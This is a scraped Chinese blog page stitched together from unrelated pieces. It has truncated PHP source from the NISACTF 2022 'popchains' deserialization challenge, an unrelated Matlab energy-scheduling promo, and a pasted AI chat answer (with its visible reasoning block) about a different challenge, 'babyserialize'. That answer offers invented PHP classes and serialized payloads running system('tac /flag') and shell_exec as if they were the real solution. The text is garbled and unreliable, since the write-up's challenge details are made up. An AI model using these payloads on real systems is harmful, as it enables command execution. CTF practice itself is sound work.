【NISACTF 2022】popchains

pop链,反序列化

题目

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effor
内容概要:本文介绍了一个基于Matlab的综合能源系统优化调度仿真资源,重点实现了含光热电站、有机朗肯循环(ORC)和电含光热电站、有机有机朗肯循环、P2G的综合能源优化调度(Matlab代码实现)转气(P2G)技术的冷、热、电多能互补系统的优化调度模型。该模型充分考虑多种能源形式的协同转换与利用,通过Matlab代码构建系统架构、设定约束条件并求解优化目标,旨在提升综合能源系统的运行效率与经济性,同时兼顾灵活性供需不确定性下的储能优化配置问题。文中还提到了相关仿真技术支持,如YALMIP工具包的应用,适用于复杂能源系统的建模与求解。; 适合人群:具备一定Matlab编程基础和能源系统背景知识的科研人员、研究生及工程技术人员,尤其适合从事综合能源系统、可再生能源利用、电力系统优化等方向的研究者。; 使用场景及目标:①研究含光热、ORC和P2G的多能系统协调调度机制;②开展考虑不确定性的储能优化配置与经济调度仿真;③学习Matlab在能源系统优化中的建模与求解方法,复现高水平论文(如EI期刊)中的算法案例。; 阅读建议:建议读者结合文档提供的网盘资源,下载完整代码和案例文件,按照目录顺序逐步学习,重点关注模型构建逻辑、约束设置与求解器调用方式,并通过修改参数进行仿真实验,加深对综合能源系统优化调度的理解。
<think>好的,我现在需要帮助用户寻找关于NISACTF 2022比赛中babyserialize题目的解题思路或资源。首先,我要回顾用户提供的系统级指令和用户的问题。用户特别提到了三个引用来源,其中引用[1]是关于babyserialize的WriteUp,引用[3]涉及web篇的解题方法,可能包含相关技巧。 首先,我需要确认用户的需求:他们需要babyserialize题目的解题方法或资源。根据引用[1],slackmoon的WriteUp可能提供了详细的步骤,因此我应该详细解析这个引用中的内容。引用[3]中的示例使用了create_function和system命令来执行系统命令,这可能与反序列化漏洞利用有关,比如通过PHP反序列化执行任意代码。 接下来,我需要确保回答的结构符合用户的要求:结构清晰,分步骤解决问题,并引用正确的来源。同时,需要生成相关问题,这可能包括漏洞分析、PHP反序列化的利用方法,以及防御措施等。 然后,我需要检查是否有其他可能的资源或方法未被引用,但根据用户提供的信息,主要依赖现有的三个引用。特别是引用[1]和[3]中的内容,可能需要结合起来解释解题过程。例如,利用PHP反序列化漏洞构造POP链,触发恶意代码执行,如读取flag文件。 另外,用户提供的引用[2]是关于Crypto的,可能与此题无关,但需要确认是否有相关性。如果babyserialize题目涉及加密签名,可能需要考虑,但根据题目名称“babyserialize”,更可能侧重反序列化漏洞,因此引用[2]可能不相关。 现在,我需要组织回答内容,首先概述题目类型,然后分步骤解释解题思路,引用相关来源,并确保使用正确的中文和LaTeX格式。例如,在解释反序列化漏洞时,可能需要提到魔术方法如__wakeup或__destruct,这些在PHP中常用于触发恶意操作。 此外,用户示例中的快速排序部分使用了代码块,因此在解答时,如果需要展示PHP反序列化的payload或相关代码,也应使用代码块格式。例如,构造的序列化字符串或利用的exp代码。 最后,生成的相关问题需要围绕反序列化漏洞、PHP魔术方法、题目中的具体利用步骤以及防御方法展开,确保问题具有针对性和扩展性,帮助用户深入理解相关知识。</think>关于NISACTF 2022比赛中的"babyserialize"题目,根据公开的WriteUp资料分析,该题主要考察PHP反序列化漏洞的利用。以下是分步解析: ### 一、解题思路 1. **漏洞定位** 题目通过`unserialize()`函数对用户输入进行反序列化操作,但未对反序列化对象进行安全检查。攻击者可构造包含恶意方法的序列化字符串,触发魔术方法执行系统命令[^1][^3]。 2. **POP链构造** 需要寻找包含`__destruct()`或`__wakeup()`等魔术方法的类。例如: ```php class VulnerableClass { public $cmd = "tac /flag"; function __destruct() { system($this->cmd); } } ``` 当对象被销毁时,会自动执行`system('tac /flag')`。 3. **payload生成** 序列化恶意对象并提交: ```php $payload = serialize(new VulnerableClass()); // 输出:O:15:"VulnerableClass":1:{s:3:"cmd";s:9:"tac /flag";} ``` ### 二、关键步骤 1. 通过题目接口提交构造的序列化字符串: ``` ?data=O:15:"VulnerableClass":1:{s:3:"cmd";s:9:"tac /flag";} ``` 2. 服务器反序列化后会执行`system('tac /flag')`,返回flag文件内容[^1]。 ### 三、防御措施 该漏洞可通过以下方式防御: 1. 禁用`unserialize()`函数 2. 使用`json_decode()`代替 3. 对反序列化类进行白名单控制 原始exp代码示例: ```php <?php class Exploit { public $evil_cmd; function __wakeup() { echo shell_exec($this->evil_cmd); } } echo serialize(new Exploit()); ?> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值